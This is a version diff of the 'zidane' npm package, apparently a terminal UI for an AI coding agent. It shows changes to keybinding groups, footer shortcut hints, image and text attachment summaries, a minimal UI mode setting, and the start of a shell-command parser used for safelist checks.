zidane 5.6.0 → 5.6.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{agent-B26FuGew.d.ts → agent-D70rr6Uk.d.ts} +20 -1
- package/dist/agent-D70rr6Uk.d.ts.map +1 -0
- package/dist/chat.d.ts +112 -11
- package/dist/chat.d.ts.map +1 -1
- package/dist/chat.js +3 -3
- package/dist/{index-CE7z_11T.d.ts → index-BjwwNjQd.d.ts} +9 -4
- package/dist/{index-CE7z_11T.d.ts.map → index-BjwwNjQd.d.ts.map} +1 -1
- package/dist/{index-CROWxXo9.d.ts → index-DKpXHp1c.d.ts} +2 -2
- package/dist/index-DKpXHp1c.d.ts.map +1 -0
- package/dist/index.d.ts +3 -3
- package/dist/index.js +4 -4
- package/dist/{interpolate-j5V-wcAQ.js → interpolate-DM1UcKeQ.js} +27 -4
- package/dist/{interpolate-j5V-wcAQ.js.map → interpolate-DM1UcKeQ.js.map} +1 -1
- package/dist/{login-D5lQWoFx.js → login-YckkS-Bq.js} +4 -3
- package/dist/login-YckkS-Bq.js.map +1 -0
- package/dist/mcp.d.ts +1 -1
- package/dist/{presets-BDCthpyD.js → presets-ZT3TJDEb.js} +2 -2
- package/dist/{presets-BDCthpyD.js.map → presets-ZT3TJDEb.js.map} +1 -1
- package/dist/presets.d.ts +2 -2
- package/dist/presets.js +1 -1
- package/dist/providers.d.ts +1 -1
- package/dist/restate.d.ts +24 -2
- package/dist/restate.d.ts.map +1 -1
- package/dist/session/sqlite.d.ts +1 -1
- package/dist/session.d.ts +1 -1
- package/dist/skills.d.ts +2 -2
- package/dist/skills.js +1 -1
- package/dist/{tools-Co3VYhgM.js → tools-Bgx8OBqK.js} +4 -3
- package/dist/tools-Bgx8OBqK.js.map +1 -0
- package/dist/tools.d.ts +2 -2
- package/dist/tools.js +1 -1
- package/dist/{transcript-anchors-CTTeQJzy.d.ts → transcript-anchors-CtSVZeBi.d.ts} +74 -5
- package/dist/transcript-anchors-CtSVZeBi.d.ts.map +1 -0
- package/dist/tui.d.ts +24 -5
- package/dist/tui.d.ts.map +1 -1
- package/dist/tui.js +851 -253
- package/dist/tui.js.map +1 -1
- package/dist/{turn-operations-fhinWY4m.js → turn-operations-CH7rnULP.js} +573 -80
- package/dist/turn-operations-CH7rnULP.js.map +1 -0
- package/dist/types-oKPBdCmL.js.map +1 -1
- package/dist/types.d.ts +2 -2
- package/docs/RESTATE.md +16 -0
- package/docs/TUI.md +1 -0
- package/package.json +2 -1
- package/dist/agent-B26FuGew.d.ts.map +0 -1
- package/dist/index-CROWxXo9.d.ts.map +0 -1
- package/dist/login-D5lQWoFx.js.map +0 -1
- package/dist/tools-Co3VYhgM.js.map +0 -1
- package/dist/transcript-anchors-CTTeQJzy.d.ts.map +0 -1
- package/dist/turn-operations-fhinWY4m.js.map +0 -1
|
@@ -1,10 +1,10 @@
|
|
|
1
|
-
import { H as previewLine, R as fmtTokens, U as shortId, a as multiEdit, c as grep, d as resolveOldString, f as styleReplacementForVia, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, t as writeFile$1, u as edit, y as shell } from "./tools-
|
|
1
|
+
import { H as previewLine, R as fmtTokens, U as shortId, a as multiEdit, c as grep, d as resolveOldString, f as styleReplacementForVia, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, t as writeFile$1, u as edit, y as shell } from "./tools-Bgx8OBqK.js";
|
|
2
2
|
import { c as errorMessage } from "./errors-DdZXnyXE.js";
|
|
3
3
|
import { r as toolResultToText } from "./types-oKPBdCmL.js";
|
|
4
4
|
import { r as normalizeMcpServers } from "./mcp-ngMS0S6N.js";
|
|
5
|
-
import { a as discoverSkills } from "./interpolate-
|
|
5
|
+
import { a as discoverSkills } from "./interpolate-DM1UcKeQ.js";
|
|
6
6
|
import { n as formatTokenUsage } from "./stats-Lc3zL3RM.js";
|
|
7
|
-
import { n as definePreset, t as composePresets } from "./presets-
|
|
7
|
+
import { n as definePreset, t as composePresets } from "./presets-ZT3TJDEb.js";
|
|
8
8
|
import { a as writeFileAtomic, i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-CaJE2ToS.js";
|
|
9
9
|
import { createRequire } from "node:module";
|
|
10
10
|
import { dirname, isAbsolute, join, posix, relative, resolve, sep } from "node:path";
|
|
@@ -12,6 +12,7 @@ import { homedir, tmpdir } from "node:os";
|
|
|
12
12
|
import { spawn } from "node:child_process";
|
|
13
13
|
import { chmodSync, createReadStream, createWriteStream, existsSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, renameSync, rmSync, statSync, writeFileSync } from "node:fs";
|
|
14
14
|
import { readdir, stat, writeFile } from "node:fs/promises";
|
|
15
|
+
import { Buffer as Buffer$1 } from "node:buffer";
|
|
15
16
|
import { getModel, getModels } from "@mariozechner/pi-ai";
|
|
16
17
|
import { anthropicOAuthProvider, openaiCodexOAuthProvider } from "@mariozechner/pi-ai/oauth";
|
|
17
18
|
import { createHash } from "node:crypto";
|
|
@@ -2961,127 +2962,162 @@ const KEYBINDING_DEFS = [
|
|
|
2961
2962
|
action: "openSettings",
|
|
2962
2963
|
default: "ctrl+o",
|
|
2963
2964
|
label: "settings",
|
|
2964
|
-
description: "open the Settings modal (toggles, theme, keybindings)"
|
|
2965
|
+
description: "open the Settings modal (toggles, theme, keybindings)",
|
|
2966
|
+
group: "Global"
|
|
2965
2967
|
},
|
|
2966
2968
|
{
|
|
2967
2969
|
action: "openSessionDetails",
|
|
2968
2970
|
default: "ctrl+x",
|
|
2969
2971
|
label: "session",
|
|
2970
|
-
description: "open the session details modal (stats, export, delete, rename)"
|
|
2972
|
+
description: "open the session details modal (stats, export, delete, rename)",
|
|
2973
|
+
group: "Global"
|
|
2971
2974
|
},
|
|
2972
2975
|
{
|
|
2973
2976
|
action: "openModelPicker",
|
|
2974
2977
|
default: "ctrl+m",
|
|
2975
2978
|
label: "model",
|
|
2976
|
-
description: "open the cross-provider model picker"
|
|
2979
|
+
description: "open the cross-provider model picker",
|
|
2980
|
+
group: "Global"
|
|
2977
2981
|
},
|
|
2978
2982
|
{
|
|
2979
2983
|
action: "openEffortPicker",
|
|
2980
2984
|
default: "ctrl+l",
|
|
2981
2985
|
label: "effort",
|
|
2982
|
-
description: "open the reasoning-effort picker (when the active model supports it)"
|
|
2986
|
+
description: "open the reasoning-effort picker (when the active model supports it)",
|
|
2987
|
+
group: "Global"
|
|
2983
2988
|
},
|
|
2984
2989
|
{
|
|
2985
2990
|
action: "openTodos",
|
|
2986
2991
|
default: "ctrl+t",
|
|
2987
2992
|
label: "todos",
|
|
2988
|
-
description: "open the active run's todo list (the agent's `todowrite` checkpoints)"
|
|
2993
|
+
description: "open the active run's todo list (the agent's `todowrite` checkpoints)",
|
|
2994
|
+
group: "Global"
|
|
2995
|
+
},
|
|
2996
|
+
{
|
|
2997
|
+
action: "openKeybindings",
|
|
2998
|
+
default: "ctrl+y",
|
|
2999
|
+
label: "keybindings",
|
|
3000
|
+
description: "open the keybindings panel — list every shortcut and jump to the keybindings.json file",
|
|
3001
|
+
group: "Global"
|
|
2989
3002
|
},
|
|
2990
3003
|
{
|
|
2991
3004
|
action: "cycleAgent",
|
|
2992
3005
|
default: "shift+tab",
|
|
2993
3006
|
label: "cycle agent",
|
|
2994
|
-
description: "cycle to the next agent profile (when multiple profiles are registered)"
|
|
3007
|
+
description: "cycle to the next agent profile (when multiple profiles are registered)",
|
|
3008
|
+
group: "Global"
|
|
2995
3009
|
},
|
|
2996
3010
|
{
|
|
2997
3011
|
action: "enterSelectTurnMode",
|
|
2998
3012
|
default: "ctrl+s",
|
|
2999
3013
|
label: "messages",
|
|
3000
|
-
description: "enter select-turn mode to navigate previous messages"
|
|
3014
|
+
description: "enter select-turn mode to navigate previous messages",
|
|
3015
|
+
group: "Global"
|
|
3001
3016
|
},
|
|
3002
3017
|
{
|
|
3003
3018
|
action: "cancelToolCall",
|
|
3004
3019
|
default: "ctrl+k",
|
|
3005
3020
|
label: "cancel tool",
|
|
3006
|
-
description: "open the in-flight tool picker to cancel a single tool call without aborting the run (esc still aborts the whole run)"
|
|
3021
|
+
description: "open the in-flight tool picker to cancel a single tool call without aborting the run (esc still aborts the whole run)",
|
|
3022
|
+
group: "Global"
|
|
3023
|
+
},
|
|
3024
|
+
{
|
|
3025
|
+
action: "changeCwd",
|
|
3026
|
+
default: "ctrl+g",
|
|
3027
|
+
label: "cwd",
|
|
3028
|
+
description: "open the directory picker to change the working directory",
|
|
3029
|
+
group: "Global"
|
|
3007
3030
|
},
|
|
3008
3031
|
{
|
|
3009
3032
|
action: "enterQueueSelection",
|
|
3010
3033
|
default: "",
|
|
3011
3034
|
label: "select queue",
|
|
3012
|
-
description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)"
|
|
3035
|
+
description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)",
|
|
3036
|
+
group: "Message queue"
|
|
3013
3037
|
},
|
|
3014
3038
|
{
|
|
3015
3039
|
action: "pushQueuedMessage",
|
|
3016
3040
|
default: "ctrl+return",
|
|
3017
3041
|
label: "push",
|
|
3018
|
-
description: "steer the selected queued message into the live run (delivered between tool calls)"
|
|
3042
|
+
description: "steer the selected queued message into the live run (delivered between tool calls)",
|
|
3043
|
+
group: "Message queue"
|
|
3019
3044
|
},
|
|
3020
3045
|
{
|
|
3021
3046
|
action: "dropQueuedMessage",
|
|
3022
3047
|
default: "backspace",
|
|
3023
3048
|
label: "drop",
|
|
3024
|
-
description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)"
|
|
3049
|
+
description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)",
|
|
3050
|
+
group: "Message queue"
|
|
3025
3051
|
},
|
|
3026
3052
|
{
|
|
3027
3053
|
action: "turnFork",
|
|
3028
3054
|
default: "f",
|
|
3029
3055
|
label: "fork",
|
|
3030
|
-
description: "fork the session at the selected turn (two-press confirm)"
|
|
3056
|
+
description: "fork the session at the selected turn (two-press confirm)",
|
|
3057
|
+
group: "Turn details"
|
|
3031
3058
|
},
|
|
3032
3059
|
{
|
|
3033
3060
|
action: "turnDelete",
|
|
3034
3061
|
default: "d",
|
|
3035
3062
|
label: "delete",
|
|
3036
|
-
description: "delete the selected turn (two-press confirm)"
|
|
3063
|
+
description: "delete the selected turn (two-press confirm)",
|
|
3064
|
+
group: "Turn details"
|
|
3037
3065
|
},
|
|
3038
3066
|
{
|
|
3039
3067
|
action: "turnCopy",
|
|
3040
3068
|
default: "c",
|
|
3041
3069
|
label: "copy",
|
|
3042
|
-
description: "copy the selected turn content to the clipboard (OSC 52)"
|
|
3070
|
+
description: "copy the selected turn content to the clipboard (OSC 52)",
|
|
3071
|
+
group: "Turn details"
|
|
3043
3072
|
},
|
|
3044
3073
|
{
|
|
3045
3074
|
action: "turnEdit",
|
|
3046
3075
|
default: "e",
|
|
3047
3076
|
label: "edit",
|
|
3048
|
-
description: "edit the text content of the selected turn"
|
|
3077
|
+
description: "edit the text content of the selected turn",
|
|
3078
|
+
group: "Turn details"
|
|
3049
3079
|
},
|
|
3050
3080
|
{
|
|
3051
3081
|
action: "sessionDelete",
|
|
3052
3082
|
default: "d",
|
|
3053
3083
|
label: "delete",
|
|
3054
|
-
description: "delete the entire session (two-press confirm)"
|
|
3084
|
+
description: "delete the entire session (two-press confirm)",
|
|
3085
|
+
group: "Session details"
|
|
3055
3086
|
},
|
|
3056
3087
|
{
|
|
3057
3088
|
action: "sessionCopyId",
|
|
3058
3089
|
default: "c",
|
|
3059
3090
|
label: "copy id",
|
|
3060
|
-
description: "copy the full session id to the clipboard (OSC 52)"
|
|
3091
|
+
description: "copy the full session id to the clipboard (OSC 52)",
|
|
3092
|
+
group: "Session details"
|
|
3061
3093
|
},
|
|
3062
3094
|
{
|
|
3063
3095
|
action: "sessionGenerateTitle",
|
|
3064
3096
|
default: "g",
|
|
3065
3097
|
label: "generate title",
|
|
3066
|
-
description: "generate a title for the session via the active provider/model"
|
|
3098
|
+
description: "generate a title for the session via the active provider/model",
|
|
3099
|
+
group: "Session details"
|
|
3067
3100
|
},
|
|
3068
3101
|
{
|
|
3069
3102
|
action: "sessionExportMarkdown",
|
|
3070
3103
|
default: "e",
|
|
3071
3104
|
label: "export md",
|
|
3072
|
-
description: "export the session as Markdown under .{prefix}/sessions/"
|
|
3105
|
+
description: "export the session as Markdown under .{prefix}/sessions/",
|
|
3106
|
+
group: "Session details"
|
|
3073
3107
|
},
|
|
3074
3108
|
{
|
|
3075
3109
|
action: "sessionExportJson",
|
|
3076
3110
|
default: "j",
|
|
3077
3111
|
label: "export json",
|
|
3078
|
-
description: "export the session as JSON under .{prefix}/sessions/"
|
|
3112
|
+
description: "export the session as JSON under .{prefix}/sessions/",
|
|
3113
|
+
group: "Session details"
|
|
3079
3114
|
},
|
|
3080
3115
|
{
|
|
3081
3116
|
action: "sessionCompact",
|
|
3082
3117
|
default: "k",
|
|
3083
3118
|
label: "compact",
|
|
3084
|
-
description: "compact older turns via an LLM summary (model still sees everything from the boundary down)"
|
|
3119
|
+
description: "compact older turns via an LLM summary (model still sees everything from the boundary down)",
|
|
3120
|
+
group: "Session details"
|
|
3085
3121
|
}
|
|
3086
3122
|
];
|
|
3087
3123
|
/** Index by action for O(1) lookup of label / description / default. */
|
|
@@ -3181,6 +3217,39 @@ function matchesBinding(event, spec) {
|
|
|
3181
3217
|
if ((event.name ?? "").toLowerCase() !== parsed.name) return false;
|
|
3182
3218
|
return true;
|
|
3183
3219
|
}
|
|
3220
|
+
/** Verbose key names → compact single-cell glyphs used by hint rows. */
|
|
3221
|
+
const KEY_GLYPHS = {
|
|
3222
|
+
up: "↑",
|
|
3223
|
+
down: "↓",
|
|
3224
|
+
left: "←",
|
|
3225
|
+
right: "→",
|
|
3226
|
+
return: "↵",
|
|
3227
|
+
enter: "↵",
|
|
3228
|
+
delete: "⌫",
|
|
3229
|
+
backspace: "⌫",
|
|
3230
|
+
escape: "esc",
|
|
3231
|
+
space: "␣",
|
|
3232
|
+
tab: "⇥"
|
|
3233
|
+
};
|
|
3234
|
+
/**
|
|
3235
|
+
* Render a binding spec (`"ctrl+return"`, `"backspace"`, `"delete"`) as a
|
|
3236
|
+
* compact display string the user recognizes at a glance. Substitutes
|
|
3237
|
+
* arrow / enter / backspace glyphs for their verbose names so the hint
|
|
3238
|
+
* row stays narrow; modifier names + plain keys pass through unchanged.
|
|
3239
|
+
*
|
|
3240
|
+
* Empty / missing specs return an empty string — callers decide whether
|
|
3241
|
+
* to render a placeholder (e.g. `'—'` for an unbound action in the
|
|
3242
|
+
* keybindings panel) or hide the surface entirely (e.g. hint rows that
|
|
3243
|
+
* fall back to a different chord when the binding is empty).
|
|
3244
|
+
*/
|
|
3245
|
+
function formatBindingForDisplay(spec) {
|
|
3246
|
+
if (!spec) return "";
|
|
3247
|
+
const segments = spec.toLowerCase().split("+");
|
|
3248
|
+
const key = segments.pop() ?? "";
|
|
3249
|
+
const modifiers = segments.join("+");
|
|
3250
|
+
const glyph = KEY_GLYPHS[key] ?? key;
|
|
3251
|
+
return modifiers ? `${modifiers}+${glyph}` : glyph;
|
|
3252
|
+
}
|
|
3184
3253
|
/**
|
|
3185
3254
|
* Merge a partial map of user overrides into the defaults. Unknown
|
|
3186
3255
|
* action keys are dropped (a future TUI version may have retired the
|
|
@@ -4300,10 +4369,27 @@ function eventsFromTurns(turns, runs = []) {
|
|
|
4300
4369
|
kind: "separator",
|
|
4301
4370
|
text: ""
|
|
4302
4371
|
});
|
|
4372
|
+
const attachments = [];
|
|
4373
|
+
for (const sibling of turn.content) if (sibling.type === "image") {
|
|
4374
|
+
const raw = typeof sibling.data === "string" ? Buffer$1.from(sibling.data, "base64") : sibling.data;
|
|
4375
|
+
attachments.push({
|
|
4376
|
+
name: sibling.name ?? "image",
|
|
4377
|
+
mediaType: sibling.mediaType,
|
|
4378
|
+
size: raw.length
|
|
4379
|
+
});
|
|
4380
|
+
} else if (sibling !== block && sibling.type === "text") {
|
|
4381
|
+
const m = sibling.text.match(/^<attachment\s+(?:name="([^"]+)"\s*)?(?:media_type="([^"]+)")?/);
|
|
4382
|
+
if (m) attachments.push({
|
|
4383
|
+
name: m[1] ?? "attachment",
|
|
4384
|
+
mediaType: m[2] ?? "text/plain",
|
|
4385
|
+
size: sibling.text.length
|
|
4386
|
+
});
|
|
4387
|
+
}
|
|
4303
4388
|
events.push({
|
|
4304
4389
|
kind: "user-prompt",
|
|
4305
4390
|
text: block.text,
|
|
4306
|
-
turnId: turn.id
|
|
4391
|
+
turnId: turn.id,
|
|
4392
|
+
...attachments.length > 0 ? { attachments } : {}
|
|
4307
4393
|
});
|
|
4308
4394
|
}
|
|
4309
4395
|
} else if (block.type === "tool_result") {
|
|
@@ -5948,7 +6034,8 @@ const DEFAULT_SETTINGS = {
|
|
|
5948
6034
|
smoothStreaming: true,
|
|
5949
6035
|
showTodoIndicator: true,
|
|
5950
6036
|
showThrobber: false,
|
|
5951
|
-
checkForUpdates: true
|
|
6037
|
+
checkForUpdates: true,
|
|
6038
|
+
uiMode: "full"
|
|
5952
6039
|
};
|
|
5953
6040
|
/**
|
|
5954
6041
|
* Hard-clamp a `targetFps` value to a safe range before handing it to
|
|
@@ -6144,6 +6231,18 @@ const SETTINGS_CHOICES = [
|
|
|
6144
6231
|
label: t.label
|
|
6145
6232
|
}))
|
|
6146
6233
|
},
|
|
6234
|
+
{
|
|
6235
|
+
key: "uiMode",
|
|
6236
|
+
label: "UI mode",
|
|
6237
|
+
description: "chat-screen chrome density — full advertises every shortcut, minimal keeps only agent / model / keybindings + `@` · `/` triggers (rest reachable via `ctrl+y`)",
|
|
6238
|
+
options: [{
|
|
6239
|
+
value: "full",
|
|
6240
|
+
label: "Full"
|
|
6241
|
+
}, {
|
|
6242
|
+
value: "minimal",
|
|
6243
|
+
label: "Minimal"
|
|
6244
|
+
}]
|
|
6245
|
+
},
|
|
6147
6246
|
{
|
|
6148
6247
|
key: "targetFps",
|
|
6149
6248
|
label: "Renderer fps",
|
|
@@ -6411,6 +6510,177 @@ function toEntries(paths, source, maxFiles) {
|
|
|
6411
6510
|
return out;
|
|
6412
6511
|
}
|
|
6413
6512
|
//#endregion
|
|
6513
|
+
//#region src/chat/footer-hints.ts
|
|
6514
|
+
/**
|
|
6515
|
+
* Build the footer's shortcut hints for the current screen. On the chat
|
|
6516
|
+
* screen the model id rides next to its `ctrl+m` shortcut and the agent
|
|
6517
|
+
* label rides next to `shift+tab`, each in its accent color — the bar
|
|
6518
|
+
* doubles as the status display without needing separate badges. When
|
|
6519
|
+
* the active model exposes reasoning, the `ctrl+m` hint grows a
|
|
6520
|
+
* secondary `/n` chord with the current effort label, surfacing the
|
|
6521
|
+
* effort picker as a discoverable, in-place affordance.
|
|
6522
|
+
*/
|
|
6523
|
+
function buildHints(options) {
|
|
6524
|
+
const { screen, busy, pending, pendingInteractionLive, pendingInteractionResumed, currentSession, hasMultipleAgents, uiMode, modelLabel, modelColor, effortLabel, effortColor, effortKeyColor, agentLabel, agentColor, keybindings, inFlightToolCount, activeSkillCount, skillsChipColor, updateHint } = options;
|
|
6525
|
+
if (pending) return [
|
|
6526
|
+
{
|
|
6527
|
+
key: "↑↓",
|
|
6528
|
+
label: "navigate"
|
|
6529
|
+
},
|
|
6530
|
+
{
|
|
6531
|
+
key: "↵",
|
|
6532
|
+
label: "select"
|
|
6533
|
+
},
|
|
6534
|
+
{
|
|
6535
|
+
key: "esc",
|
|
6536
|
+
label: "abort run"
|
|
6537
|
+
}
|
|
6538
|
+
];
|
|
6539
|
+
if (pendingInteractionLive) return [
|
|
6540
|
+
{
|
|
6541
|
+
key: "↑↓",
|
|
6542
|
+
label: "navigate"
|
|
6543
|
+
},
|
|
6544
|
+
{
|
|
6545
|
+
key: "↵",
|
|
6546
|
+
label: "select"
|
|
6547
|
+
},
|
|
6548
|
+
{
|
|
6549
|
+
key: "esc",
|
|
6550
|
+
label: "abort run"
|
|
6551
|
+
}
|
|
6552
|
+
];
|
|
6553
|
+
if (pendingInteractionResumed) return [
|
|
6554
|
+
{
|
|
6555
|
+
key: "↑↓",
|
|
6556
|
+
label: "navigate"
|
|
6557
|
+
},
|
|
6558
|
+
{
|
|
6559
|
+
key: "↵",
|
|
6560
|
+
label: "select"
|
|
6561
|
+
},
|
|
6562
|
+
{
|
|
6563
|
+
key: "esc",
|
|
6564
|
+
label: "leave for later"
|
|
6565
|
+
}
|
|
6566
|
+
];
|
|
6567
|
+
if (busy) {
|
|
6568
|
+
const baseBusyHints = [];
|
|
6569
|
+
if (inFlightToolCount > 0) baseBusyHints.push({
|
|
6570
|
+
key: keybindings.cancelToolCall,
|
|
6571
|
+
label: inFlightToolCount === 1 ? "cancel" : `cancel (${inFlightToolCount})`
|
|
6572
|
+
});
|
|
6573
|
+
baseBusyHints.push({
|
|
6574
|
+
key: "esc",
|
|
6575
|
+
label: "abort"
|
|
6576
|
+
});
|
|
6577
|
+
return baseBusyHints;
|
|
6578
|
+
}
|
|
6579
|
+
if (screen === "auth") return [
|
|
6580
|
+
{
|
|
6581
|
+
key: "↑↓",
|
|
6582
|
+
label: "navigate"
|
|
6583
|
+
},
|
|
6584
|
+
{
|
|
6585
|
+
key: "↵",
|
|
6586
|
+
label: "select"
|
|
6587
|
+
},
|
|
6588
|
+
{
|
|
6589
|
+
key: "esc",
|
|
6590
|
+
label: "exit"
|
|
6591
|
+
}
|
|
6592
|
+
];
|
|
6593
|
+
if (screen === "sessions") return [
|
|
6594
|
+
{
|
|
6595
|
+
key: "↑↓",
|
|
6596
|
+
label: "navigate"
|
|
6597
|
+
},
|
|
6598
|
+
{
|
|
6599
|
+
key: "↵",
|
|
6600
|
+
label: "open"
|
|
6601
|
+
},
|
|
6602
|
+
{
|
|
6603
|
+
key: keybindings.openSessionDetails,
|
|
6604
|
+
label: "session"
|
|
6605
|
+
},
|
|
6606
|
+
{
|
|
6607
|
+
key: keybindings.openSettings,
|
|
6608
|
+
label: "settings"
|
|
6609
|
+
},
|
|
6610
|
+
{
|
|
6611
|
+
key: "esc",
|
|
6612
|
+
label: currentSession ? "back" : "exit"
|
|
6613
|
+
}
|
|
6614
|
+
];
|
|
6615
|
+
const modelHint = modelLabel ? {
|
|
6616
|
+
key: keybindings.openModelPicker,
|
|
6617
|
+
label: modelLabel,
|
|
6618
|
+
labelColor: modelColor,
|
|
6619
|
+
...effortLabel ? { extra: {
|
|
6620
|
+
key: shortChord(keybindings.openEffortPicker),
|
|
6621
|
+
keyColor: effortKeyColor,
|
|
6622
|
+
label: effortLabel,
|
|
6623
|
+
labelColor: effortColor
|
|
6624
|
+
} } : {}
|
|
6625
|
+
} : null;
|
|
6626
|
+
const skillsChip = activeSkillCount > 0 ? {
|
|
6627
|
+
key: "✦",
|
|
6628
|
+
keyColor: skillsChipColor,
|
|
6629
|
+
label: activeSkillCount === 1 ? "1 skill" : `${activeSkillCount} skills`,
|
|
6630
|
+
labelColor: skillsChipColor
|
|
6631
|
+
} : null;
|
|
6632
|
+
const cancelTaskChip = inFlightToolCount > 0 ? {
|
|
6633
|
+
key: keybindings.cancelToolCall,
|
|
6634
|
+
label: inFlightToolCount === 1 ? "cancel task" : `cancel task (${inFlightToolCount})`
|
|
6635
|
+
} : null;
|
|
6636
|
+
if (uiMode === "minimal") return [
|
|
6637
|
+
...hasMultipleAgents ? [{
|
|
6638
|
+
key: keybindings.cycleAgent,
|
|
6639
|
+
label: agentLabel,
|
|
6640
|
+
labelColor: agentColor
|
|
6641
|
+
}] : [],
|
|
6642
|
+
...modelHint ? [modelHint] : [],
|
|
6643
|
+
{
|
|
6644
|
+
key: keybindings.openKeybindings,
|
|
6645
|
+
label: "keybindings"
|
|
6646
|
+
}
|
|
6647
|
+
];
|
|
6648
|
+
return [
|
|
6649
|
+
...hasMultipleAgents ? [{
|
|
6650
|
+
key: keybindings.cycleAgent,
|
|
6651
|
+
label: agentLabel,
|
|
6652
|
+
labelColor: agentColor
|
|
6653
|
+
}] : [],
|
|
6654
|
+
...modelHint ? [modelHint] : [],
|
|
6655
|
+
...skillsChip ? [skillsChip] : [],
|
|
6656
|
+
...cancelTaskChip ? [cancelTaskChip] : [],
|
|
6657
|
+
...currentSession ? [{
|
|
6658
|
+
key: keybindings.openSessionDetails,
|
|
6659
|
+
label: "session"
|
|
6660
|
+
}] : [],
|
|
6661
|
+
{
|
|
6662
|
+
key: keybindings.openSettings,
|
|
6663
|
+
label: "settings"
|
|
6664
|
+
},
|
|
6665
|
+
{
|
|
6666
|
+
key: "esc",
|
|
6667
|
+
label: "sessions"
|
|
6668
|
+
},
|
|
6669
|
+
...updateHint ? [updateHint] : []
|
|
6670
|
+
];
|
|
6671
|
+
}
|
|
6672
|
+
/**
|
|
6673
|
+
* Shorten a binding spec for display as a "chord continuation" — the
|
|
6674
|
+
* `/n` after `ctrl+m model` in the chat footer. We only strip the
|
|
6675
|
+
* `ctrl+` prefix so user-customized chords (`alt+n`, `meta+shift+n`)
|
|
6676
|
+
* still render in full. Falls back to the verbatim spec when no
|
|
6677
|
+
* `ctrl+` prefix is found, which keeps the visual contract honest:
|
|
6678
|
+
* the rendered key always matches the bound trigger.
|
|
6679
|
+
*/
|
|
6680
|
+
function shortChord(spec) {
|
|
6681
|
+
return spec.startsWith("ctrl+") ? `/${spec.slice(5)}` : spec;
|
|
6682
|
+
}
|
|
6683
|
+
//#endregion
|
|
6414
6684
|
//#region src/chat/generate-title.ts
|
|
6415
6685
|
/** Hard cap on the result length. Anything longer is truncated client-side. */
|
|
6416
6686
|
const TITLE_MAX_CHARS = 60;
|
|
@@ -6546,7 +6816,14 @@ function hintsLength(hints) {
|
|
|
6546
6816
|
function hintLength(h) {
|
|
6547
6817
|
return h.key.length + 1 + h.label.length + (h.extra ? h.extra.key.length + 1 + h.extra.label.length : 0);
|
|
6548
6818
|
}
|
|
6549
|
-
/**
|
|
6819
|
+
/**
|
|
6820
|
+
* Stable empty list so callers can compare by reference. Exported so
|
|
6821
|
+
* any consumer that needs to feed "no primary hints" into the same
|
|
6822
|
+
* `clipHintsToWidth` / `renderHintSpans` pipeline (e.g. the TUI's
|
|
6823
|
+
* minimal UI mode, where the prompt overlay shows only `@` / `/`
|
|
6824
|
+
* triggers) reuses the same frozen array instead of allocating a new
|
|
6825
|
+
* one each render.
|
|
6826
|
+
*/
|
|
6550
6827
|
const EMPTY_HINTS = Object.freeze([]);
|
|
6551
6828
|
/**
|
|
6552
6829
|
* Return the longest prefix of `hints` whose rendered width fits within
|
|
@@ -7810,6 +8087,248 @@ function splitPromptSegments(text, refs) {
|
|
|
7810
8087
|
return out;
|
|
7811
8088
|
}
|
|
7812
8089
|
//#endregion
|
|
8090
|
+
//#region src/chat/shell-parse.ts
|
|
8091
|
+
/**
|
|
8092
|
+
* Lightweight shell command parser for safelist enforcement.
|
|
8093
|
+
*
|
|
8094
|
+
* Extracts the head token (program name) of every command in a bash
|
|
8095
|
+
* command string — including chains (`&&`, `||`, `;`), pipes (`|`),
|
|
8096
|
+
* subshells (`(…)`), and command substitutions (`$(…)` and backticks).
|
|
8097
|
+
*
|
|
8098
|
+
* Handles quoting (`'…'`, `"…"`, `\x`), variable assignments
|
|
8099
|
+
* (`NAME=val`), I/O redirection, and the `!` negation prefix.
|
|
8100
|
+
*
|
|
8101
|
+
* Returns `null` when parsing fails so callers can fall back to
|
|
8102
|
+
* prompting (safe default).
|
|
8103
|
+
*/
|
|
8104
|
+
function extractCommandHeads(command) {
|
|
8105
|
+
try {
|
|
8106
|
+
const p = new ShellParser(command);
|
|
8107
|
+
p.list();
|
|
8108
|
+
return p.heads;
|
|
8109
|
+
} catch {
|
|
8110
|
+
return null;
|
|
8111
|
+
}
|
|
8112
|
+
}
|
|
8113
|
+
const META = new Set(" \n\r;|&()<>".split(""));
|
|
8114
|
+
var ShellParser = class ShellParser {
|
|
8115
|
+
s;
|
|
8116
|
+
heads = [];
|
|
8117
|
+
i = 0;
|
|
8118
|
+
constructor(s) {
|
|
8119
|
+
this.s = s;
|
|
8120
|
+
}
|
|
8121
|
+
/** Command list — pipelines separated by `;`, `&&`, `||`, `\n`, `&`. */
|
|
8122
|
+
list(closer) {
|
|
8123
|
+
for (;;) {
|
|
8124
|
+
this.ws();
|
|
8125
|
+
if (this.end(closer)) return;
|
|
8126
|
+
this.pipeline(closer);
|
|
8127
|
+
this.ws();
|
|
8128
|
+
if (this.end(closer)) return;
|
|
8129
|
+
const c = this.c();
|
|
8130
|
+
if (c === ";" || c === "\n" || c === "\r") {
|
|
8131
|
+
this.i++;
|
|
8132
|
+
continue;
|
|
8133
|
+
}
|
|
8134
|
+
if (this.is("&&") || this.is("||")) {
|
|
8135
|
+
this.i += 2;
|
|
8136
|
+
continue;
|
|
8137
|
+
}
|
|
8138
|
+
if (c === "&") {
|
|
8139
|
+
this.i++;
|
|
8140
|
+
continue;
|
|
8141
|
+
}
|
|
8142
|
+
break;
|
|
8143
|
+
}
|
|
8144
|
+
}
|
|
8145
|
+
/** Pipeline — simple commands separated by `|` (not `||`). */
|
|
8146
|
+
pipeline(closer) {
|
|
8147
|
+
this.cmd(closer);
|
|
8148
|
+
for (;;) {
|
|
8149
|
+
this.ws();
|
|
8150
|
+
if (this.c() === "|" && !this.is("||")) {
|
|
8151
|
+
this.i++;
|
|
8152
|
+
this.cmd(closer);
|
|
8153
|
+
} else break;
|
|
8154
|
+
}
|
|
8155
|
+
}
|
